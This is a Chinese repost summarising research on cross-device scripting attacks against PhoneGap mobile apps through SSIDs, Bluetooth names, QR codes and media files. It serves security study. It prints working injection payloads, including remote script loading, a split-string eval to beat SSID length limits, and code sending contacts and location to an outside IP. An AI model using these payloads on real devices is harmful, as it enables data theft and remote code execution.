XDS: Cross-Device Scripting Attacks

wyzsk發表於2020-08-19
作者: 奪吻狂魔 · 2014/04/23 19:52

from:http://www.cis.syr.edu/~wedu/Research/paper/xds_attack.pdf

0x00 摘要


基於HTML5的移動應用程式變得越來越於流行,主要是因為他們更容易在不同的移動平臺進行移植。基於HTML5的應用程式使用標準的Web技術,包括HTML5 , JavaScript和CSS;它們依賴於一些如PhoneGap的中介軟體與底層的作業系統進行互動。

JavaScript是容易受到程式碼注入攻擊的,我們已經進行了基於HTML5移動應用系統的研究,試圖評估依靠Web技術的移動應用開發是否是安全的。我們的發現是相當驚人的:如果基於HTML5的移動應用變得流行,似乎根據當前所調查的結果,我們每天常做的操作可能會變得危險,包括二維條碼讀取,掃描Wi-Fi接入點,播放MP4影片,配對藍芽裝置等。

除了透過例項的應用程式演示的攻擊,我們已經研究了186個PhoneGap的外掛,使用應用程式來實現各種功能,發現其中11是可被攻擊的。還發現了兩個現實當中的基於HTML5的應用程式,很容易受到攻擊。

0x01 背景


基於HTML5的移動應用程式大多數不能直接執行在移動系統,如Android和iOS ,因為這些系統不支援HTML5和JavaScript本身; Web容器需要渲染HTML5以及執行JavaScript程式碼。

大多數移動系統有這樣的容器:在Android中它是WebView,iOS中是UIWebView,Windows Phone中是WebBrowser。為簡單起見,我們以下都用WebView來表述。

WebView: WebView中最初被設計為允許本地應用程式處理和顯示網頁內容。它基本上包的網路瀏覽功能組合成一個類,可以嵌入到一個應用程式,基本上是網頁瀏覽器應用程式的元件。用WebView中提供的API ,移動應用程式還可以自定義WebView裡面的HTML頁面。

由於WebView中用於載入Web內容,它通常是不可信的, WebView像瀏覽器一樣實現了一個沙盒,使內部的JavaScript程式碼只能在一個獨立的環境中執行。

這樣的沙箱適用於網頁內容,但對於移動應用程式限制還是太大,因為它不能訪問系統資源,如檔案,裝置感測器,照相機等。

WebView在JavaScript程式碼和本機程式碼(例如, Java的)之間搭建了一個的橋樑。這座橋可讓JavaScript程式碼來呼叫主機程式碼。

已經有人開發了幾個中介軟體框架,包括PhoneGap , Rhomobile, Appcelerator等。

在本文中,我們選擇把重點放在最流行的PhoneGap。然而,我們的攻擊也可以應用於其他中介軟體。

PhoneGap和PhoneGap外掛:PhoneGap幫助開發人員建立使用基於HTML5標準的移動應用程式Web。開發人員在HTML,JavaScript和CSS中寫應用程式。該PhoneGap的框架預設情況下嵌入一個WebView中例項的應用程式,並依靠這個WebView來呈現HTML頁面和執行JavaScript程式碼。

enter image description here

PhoneGap架構圖

0x02 XDS攻擊


有兩種方式可以讓JavaScript的字串當成程式碼執行,一種是利用eval() API,另一種是透過DOM API和屬性,如document.write(), appendChild(), innerHTML等。一些jQuery的展示API也有問題,例如html()和append()。

#!html
// Using Script Tag.
<script>alert(’attack’)</script>...Data...
// Using the IMG Tag’s onerror attribute. 
<IMG src=x onerror="alert(’attack’)">...Data...

enter image description here

DOM(jQuery)展示API和屬性(勾表示能觸發,叉表示不能出發)。

ID Channels

在某些情況下,在移動裝置建立與外部建立連線之前,它從外部獲對應ID,並顯示給使用者。我們研究如何這樣的ID通道利用惡意程式碼注入到移動裝置當中。

Wi-Fi AP

找到附近的Wi -Fi接入點,許多智慧手機使用者安裝某些Wi-Fi掃描器程式,掃描附近可用的Wi-Fi熱點,並顯示他們的服務集識別符號(SSID )。

為了演示攻擊,我們設定SSID下面的JavaScript程式碼:

#!html
<script>alert('attack')</script>

程式展示使用java寫的所以不會執行js程式碼:

enter image description here

非PhoneGap應用

使用PhoneGap實現的,SSID將在WebView中顯示,這個程式使用html() API展示的SSID導致JavaScript程式碼執行。

enter image description here

PhoneGap應用

同時藍芽當中也可能出現類似的問題。

NFC讀取軟體當中:

enter image description here

非PhoneGap應用

enter image description here

PhoneGap應用

二維碼掃描:

enter image description here

非PhoneGap應用

enter image description here

PhoneGap應用

MP3, MP4, and Images

enter image description here

非PhoneGap應用

enter image description here

PhoneGap應用

等等……

0x04 限制


在各場景中的長度限制

enter image description here

可以看到Wi-Fi當中長度限制的最短。

可使用程式碼:

#!html
<script src=//mu.gl></script

img標籤的話:

#!html
<img src onerror=d=document;b=d.createElement(’script’);d.body.appendChild(b);b.src=’http://mu.gl’>

如果有使用jQuery的話:

#!html
<img src onerror=$.getScript('http://mu.gl')>

如果要在SSID當中使用的話,可以使用經典的分割程式碼的方式:

#!html
<img src onerror=a="$.getScr">
<img src onerror=b="ipt(’ht">
<img src onerror=c="tp://mu.">
<img src onerror=d="gl’)">
<img src onerror=eval(a+b+c+d)> 

0x06 案例研究


看看現實當中是否有app可以被攻擊:

案例1 : GWT Mobile PhoneGap Showcase。

這是一個PhoneGap的演示應用程式,它向開發人員展示瞭如何使用PhoneGap的和其外掛。該應用程式包括了所有的內建外掛和三個第三方外掛,ChildBrowser外掛,藍芽外掛, Facebook外掛。

該app使用innerHTML來顯示藍芽裝置的名稱。我們把藍芽名稱改成攻擊程式碼試一下:

#!html
< img src = x onerror = PhoneGap.exec(function(a) {

    m = '';
    for (i = 0; i < a.length; i++) {
        m += a[i].displayName + '\n';
    }
    alert(m);
    document.write('<img src=http://128.230.213.66:5556?c=' + m + '>');
},
function(e) {},
'Contacts', 'search', [['displayName'], {}]) > 

enter image description here

enter image description here

案例2:RewardingYourself應用程式。

掃描二維碼的程式,展示使用的innerHTML,我們在二維碼當中插入如下程式碼:

#!html
< img src = x onerror =

navigator.geolocation.watchPosition(

function(loc) {

    m = 'Latitude: ' + loc.coords.latitude +

    '\n' + 'Longitude: ' + loc.coords.longitude;

    alert(m);

    b = document.createElement('img');

    b.src = 'http: //128.230.213.66:5556?c='+m })> 

使用geolocation.watchPosition獲取當前位置。

enter image description here

enter image description here

enter image description here

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章